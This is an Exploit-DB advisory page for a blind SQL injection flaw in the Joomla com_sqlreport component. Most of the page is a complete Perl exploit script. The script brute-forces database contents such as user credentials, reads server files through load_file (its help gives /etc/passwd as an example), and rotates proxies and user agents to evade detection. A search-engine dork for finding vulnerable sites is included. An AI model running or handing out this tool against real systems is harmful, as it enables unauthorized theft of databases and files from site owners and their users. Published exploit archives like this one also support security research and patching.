Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability



EDB-ID: 11549 CVE: 2010-0753 OSVDB-ID: 62534
Author: snakespc Published: 2010-02-23 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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==============================================================================
[»]Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability
==============================================================================
    
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
[»] Dork:inurl:"com_sqlreport" 
[»] 
###########################################################################
 ===[ Exploit ]===POC Blind Joomla (user_id) com_sqlreport >>>>Note::Placés dans un dossier C:\Perl\bin\snakespc.pl
###########################################################################
#!/usr/bin/perl
use LWP::UserAgent;

use Getopt::Long;

use IO::Handle;

use strict;

$| = 1;




###############################################################################

my $default_debug = 0;

my $default_length = 32;

my $default_method = "GET";

my $default_time = 0;

my $version = "1.1";

my $default_useragent = "bsqlbf $version";

my $default_dict = "dict.txt";

my $default_sql = "version()";

###############################################################################



$| = 1;


my ($args, $abc, $solution);

my ($string, $char, @dic);

my (%vars, @varsb);

my ($lastvar, $lastval);

my ($scheme, $authority, $path, $query, $fragment);

my $hits = 0;

my $usedict = 0; 
my $amatch = 0;

my ($ua,$req);


###############################################################################
# 
#Define GetOpt:

my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);

my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);

my ($dict, $start, $length, $method, $cookie,$blind);

my ($help, $bincharset, $get, $nodict);


my $options = GetOptions (

  'help!'            => \$help,

  'url=s'            => \$url,
 
  'get=s'            => \$get,

  'sql=s'            => \$sql,

  'blind=s'          => \$blind,

  'match=s'          => \$match,

  'charset=s'        => \$charset,

  'start=s'          => \$start,

  'length=s'         => \$length,

  'dict=s'           => \$dict,

  'method=s'	     => \$method,

  'uagent=s'	     => \$uagent,

  'ruagent=s'	     => \$ruagent,

  'cookie=s'	     => \$cookie,

  'proxy=s'          => \$proxy,

  'proxy_user=s'     => \$proxy_user,

  'proxy_pass=s'     => \$proxy_pass,

  'rproxy=s'         => \$rproxy,

  'debug!'           => \$debug,
 
  'rtime=s'          => \$rtime,
 
  'time=i'           => \$time );


&help unless ($url);

&help if $help eq 1;


#########################################################################

# Default Options.

$abc              = charset();

$uagent         ||= $default_useragent;

$debug          ||= $default_debug;

$length         ||= $default_length;

$solution       ||= $start;

$method         ||= $default_method;

$sql            ||= $default_sql;

$time           ||= $default_time;



&createlwp();

&parseurl();


if ( ! defined($blind)) {

		$lastvar = $varsb[$#varsb];

		$lastval = $vars{$lastvar};

} else {

		$lastvar = $blind;

		$lastval = $vars{$blind};

}



if (defined($cookie)) { &cookie() }



if (!$match) {

	print "\nTrying to find a match string...\n" if $debug == 1;

	$amatch = "1";

	&auto_match();

}



&banner();

&httpintro();





if ( ! $get) { &sqlget() } else { &fileget() }




sub fileget {

#ord(MID(compress(load_file(0xfilename)),1,1))

	$get =~ m,.*/(.*),;

	my $lget = $1;

	my $rsize = $start + 1;

	if (-e "$lget" && ! $start) {
 
		$rsize = -s "$lget";

		print "Error: file ./$lget exists.\n";
 
		print "You can erase or resume it with: -start $rsize\n";

		exit 1

	}

	my ($fstr,$i);

	my $fsize = "";

 	$fstr = unpack("H*","$get");
 	# GET size of file.

	$abc = "0123456789";

	for ($i=1;$i<=15;$i++) {

		my $furl;

		my $find = 0;

		foreach (split/ */,$abc) {

			$find = 0;
 
			$char = ord();

			$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";

			if (lc($method) eq "post") {

				$vars{$lastvar} = $lastval . $string;

			}

			$furl = $url;

			$furl =~ s/($lastvar=$lastval)/$1$string/;

			&createlwp if $rproxy || $ruagent;

			my $html=fetch("$furl");

			$hits++;

	    		foreach (split(/\n/,$html)) {

 				if (/\Q$match\E/) {
 
				    my $asc=chr($char);

				    $fsize .= $asc;

				    $find = 1;

				 }

				last if $find == 1;

   	 		}

			last if $find == 1;

		}

		last if $find == 0;

	}

	if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }

	# starting ..

	$length = "$fsize bytes";

	$abc = "getfile [256]";

	$sql = "load_file($get)";


	&bsqlintro();

	# Get file

	open FILE, ">>$lget";

	FILE->autoflush(1);

	print "\n--- BEGIN ---\n";

	my ($i,$b,$fcontent);

	$rsize = 1 if $rsize < 1;

	for ($i=$rsize;$i<=$fsize+1;$i++) {

		my $find = 0;

		my ($furl, $b_start, $b_end, $z);

		for ($z=0;$z<272;$z+=16) {

			my $zz = $z + 16;

	$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";

			if (lc($method) eq "post") {

				$vars{$lastvar} = $lastval . $string;

			}

			$furl = $url;

			$furl =~ s/($lastvar=$lastval)/$1$string/;

			&createlwp if $rproxy || $ruagent;

			my $html=fetch("$furl");

			$hits++;

			foreach (split(/\n/,$html)) {

 				if (/\Q$match\E/) {
 
					$b_start = $z;

					$b_end = $z + 16;

					$find = 1;

				}

				last if $find == 1;

   			}

			last if $find == 1;

		}
		print "$fcontent";
	
		for ($b=$b_start;$b<=$b_end;$b++) {

			$find = 0;
 
			$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";

			if (lc($method) eq "post") {

				$vars{$lastvar} = $lastval . $string;

			}

			$furl = $url;

			$furl =~ s/($lastvar=$lastval)/$1$string/;

			&createlwp if $rproxy || $ruagent;

			my $html=fetch("$furl");

			$hits++;

	    		foreach (split(/\n/,$html)) {

 				if (/\Q$match\E/) {
 
				    $fcontent = pack("C*","$b");

			   	    print FILE "$fcontent";

				    $find = 1;

				 }

				last if $find == 1;

   	 		}

			last if $find == 1;

		}

 	}

	print "\n--- END ---\n";

        close FILE;

	$solution = "success";

}




sub sqlget {

	&bsqlintro();

	$dict ||= $default_dict;

	open DICT,"$dict";  @dic=<DICT>; close DICT;

	my $i;

	$nodict = 0;

	for ($i=length($start)+1;$i<=$length;$i++) {

		my $furl;

		my $find = 0;

		$abc = charset();

		&bsqlintro if $debug == 1;

   		print "\r trying: $solution ";

		foreach (split/ */,$abc) {

			$find = 0;
 
			$char = ord();

			$string = " AND MID($sql,$i,1)=CHAR($char)";

			    if (lc($method) eq "post") {

				   $vars{$lastvar} = $lastval . $string;

				}

	    		print "\x08$_";

			$furl = $url;

			$furl =~ s/($lastvar=$lastval)/$1$string/;

			&createlwp if $rproxy || $ruagent;

			my $html=fetch("$furl");

			$hits++;

	    		foreach (split(/\n/,$html)) {

 				if (/\Q$match\E/) {
 
				    my $asc=chr($char);

				    $solution .= $asc;

				    $find = 1;

				 }

				last if $find == 1;

   	 		}

			last if $find == 1;

		}

		if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }

		if ($find eq "0" && $usedict eq "0") { last; };

	}

}



&result();



#########################################################################

sub httpintro {

	my ($strcookie, $strproxy, $struagent, $strtime, $i);

	print "--[ http options ]"; print "-"x62; print "\n";

	printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);

	if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }

	printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);

	printf ("%12s %-50s\n","path:", $path);

	foreach (keys %vars) {

		$i++;

		printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});

	}

	if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }

	printf ("%12s %-50s\n","cookies:",$strcookie);

	if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }

	if ($rproxy) { $strproxy = "rnd.file:$rproxy" }

	printf ("%12s %-50s\n","proxy_host:",$strproxy);

	if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }

 	# timing

	if (! $time && !$rtime) { $strtime="0sec (default)" }
 
	if ( $time == 0) { $strtime="0 sec (default)" }
 
	if ( $time == 1) { $strtime="15 secs" }
 
	if ( $time == 2) { $strtime="5 mins" }
 
	if ($rtime) { $strtime = "rnd.time:$rtime" }

	printf ("%12s %-50s\n","time:",$strtime);

}


sub bsqlintro {

	my ($strstart, $strblind, $strlen, $strmatch, $strsql);

	print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";

	if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }

	if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }

	printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);

	if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }

	if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }

	printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);

	printf ("%12s %-50s\n","charset:",$abc);

	if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }

	#printf ("%12s %-60s\n","$strmatch",$match);

	print " $strmatch $match\n";

	print "-"x80; print "\n\n";

}



#########################################################################



sub createlwp {

	my $proxyc;
	&getproxy;

	&getuagent if $ruagent;

	LWP::Debug::level('+') if $debug gt 3;

	$ua = new LWP::UserAgent(

        cookie_jar=> { file => "$$.cookie" });
 
	$ua->agent("$uagent");

	if (defined($proxy_user) && defined($proxy_pass)) {

		my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =

		$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
 
		$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;

	} else { $proxyc = $proxy; }

	
$ua->proxy(['http'] => $proxyc) if $proxy;

	undef $proxy if $rproxy;

	undef $uagent if $ruagent;

}



sub cookie {

	# Cookies check

	if ($cookie || $cookie =~ /; /) {

		foreach my $c (split /;/, $cookie) {

			my ($a,$b) = split /=/, $c;

			if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }

		}

	}

}


sub parseurl {

###############################################################################

# Official Regexp to parse URI. Thank you somebody.

	($scheme, $authority, $path, $query, $fragment) =

		$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
 
	# Parse args of URI into %vars and @varsb.

	foreach my $varval (split /&/, $query) {

		my ($var, $val) = split /=/, $varval;

		$vars{$var} = $val;

		push(@varsb, $var);

	}

}



# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)

sub charset {

	if ($hits ne 0 && $nodict eq 0) {

		my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;

		foreach my $line (@dic) {

			chomp $line;
 
	   		if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {

				$foo = $line; $foo =~ s/\Q$solution\E//;

		 		foreach ((split/ */,$foo)) {

		  			if ($tmp{$_} ne "1" ) {

						$tmp{$_} = "1"; push (@b,$_);

					}

		 		}

			}

		}

   		 if ($#b >= 0) {

			foreach my $c (@b) { $abc .=$c;}

			$usedict = $abc;

			print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1;

		 } else {

			$abc = chardefault()

		 }

	} else {

		$abc = chardefault()

	}

	return $abc;

}


sub chardefault {

	my $tmp;

	$abc = $charset;

	if (lc($charset) eq "md5") {

		$abc = "abcdef0123456789\$.";

	} elsif (lc($charset) eq "num") {

		$abc = "0123456789";

	} elsif (lc($charset) eq "all" || ! $charset) {

   		$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&·!<>ñÑ";

	}
	# If a dictionary has been used before, remove chars from current charset

	if ($usedict ne 0) {

		foreach (split(/ */, $usedict)) {

			$abc =~ s/$_//;

		}

	}

	$usedict = 0;

	return $abc;
}


sub auto_match {

	  $match = fmatch("$url");

}





#########################################################################

# Show options at running:

sub banner {

	print "\n //com_sqlreport Blind SQL injection brute force.\n";

	print " // super_cristal\@hotmail.com / http://www.sec-war.com\n\n";


}





#########################################################################

# Get differences in HTML

sub fmatch {

 my ($ok,$rtrn);

 my ($furla, $furlb) = ($_[0], $_[0]);

 my ($html_a, $html_b);

 if (lc($method) eq "get") {

	$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;

	$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;

 	$html_a = fetch("$furla");

	$html_b = fetch("$furlb");

 } elsif (lc($method) eq "post") {

   $vars{$lastvar} = $lastval . " AND 1=1";

   $html_a = fetch("$furla");

   $vars{$lastvar} = $lastval . " AND 1=0";

   $html_b = fetch("$furla");

   $vars{$lastvar} = $lastval;

 }

 my @h_a = split(/\n/,$html_a);

 my @h_b = split(/\n/,$html_b);

 foreach my $a (@h_a) {

	$ok = 0;

	if ($a =~ /\w/) {

   		foreach (@h_b) {

		    if ($a eq $_) {$ok = 1; }

		}

	} else { $ok = 1; }

   $rtrn = $a;

   last if $ok ne 1;

 }

 return $rtrn;

}





#########################################################################

# Fetch HTML from WWW

sub fetch {

	my $secs;

	if ($time == 0) { $secs = 0 }

	elsif ($time == 1) { $secs = 15 }

	elsif ($time == 2) { $secs = 300 }

	if ($rtime =~ /\d*-\d*/ && $time == 0) {

		my ($l,$p) = $rtime =~ m/(\d+-\d+)/;

		srand; $secs = int(rand($p-$l+1))+$l;

	} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {

		print "You can't run with -time and -rtime. See -help.\n";

		exit 1;

	}

	sleep $secs;


	
	my $res;

	if (lc($method) eq "get") {

		my $fetch = $_[0];

		if ($cookie) {

			$res = $ua->get("$fetch", Cookie => "$cookie");

		} elsif (!$cookie) {

			$res = $ua->get("$fetch");

		}

	} elsif (lc($method) eq "post") {

		my($s, $a, $p, $q, $f) =

  	    $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
 
		my $fetch = "$s://$a".$p;

		if ($cookie) {

	    	$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");

		} elsif (!$cookie) {

		    $res = $ua->post("$fetch",\%vars);

		}

	} else {

	    die "Wrong httpd method. Use -h for help\n";

	}

	my $html = $res->content();

	return $html;

}





sub getproxy {

	if ($rproxy && $proxy !~ /http/) {

		my @lproxy;

		open PROXY, $rproxy or die "Can't open file: $rproxy\n";

		while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }

		close PROXY;

		srand; my $ind = rand @lproxy;

		$proxy = $lproxy[$ind];

	} elsif ($rproxy && $proxy =~ /http/)  {

		print "You can't run with -proxy and -rproxy. See -help.\n";

		exit 1;

	}

}



sub getuagent {
	my @uproxy;

	open UAGENT, $ruagent or die "Can't open file: $ruagent\n";

		while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }

		close UAGENT;

		srand; my $ind = rand @uproxy;

		$uagent = $uproxy[$ind];

		chop($uagent);

}


sub result {

	print "\r results:                                  \n" .

	 " $sql = $solution\n" if length($solution) > 0;
 
	print " total hits: $hits\n";

}



sub help {

	&banner();

	print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";

	print "\n options:\n";

	print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";

	print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
 
	print "\t\tuser() or all data available in the requested query, for\n";

	print "\t\texample: user.password. Default: version()\n";

	print " -blind:\tparameter to inject sql. Default is last value of url\n";

	print " -match:\tstring to match in valid query, Default is try to get auto\n";

	print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";

	print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";

	print " \tnum:\t0123456789\n";
	print " \tmd5:\tabcdef0123456789\$\n";

	print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";

	print " -start:\tif you know the beginning of the string, use it.\n";

	print " -length:\tmaximum length of value. Default is $default_length.\n";

	print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";

	print " -time:\t\ttimer options:\n";

	print " \t0:\tdont wait. Default option.\n";

	print " \t1:\twait 15 seconds\n";

	print " \t2:\twait 5 minutes\n";

	print " -rtime:\twait random seconds, for example: \"10-20\".\n";

	print " -method:\thttp method to use; get or post. Default is $default_method.\n";

	print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";

	print " -ruagent:\tfile with random http UserAgent header to use.\n";

	print " -cookie:\thttp cookie header to use\n";

	print " -rproxy:\tuse random http proxy from file list.\n";

	print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";

	print " -proxy_user:\tproxy http user\n";

	print " -proxy_pass:\tproxy http password\n";

        print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";

        print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";

        exit(1);

}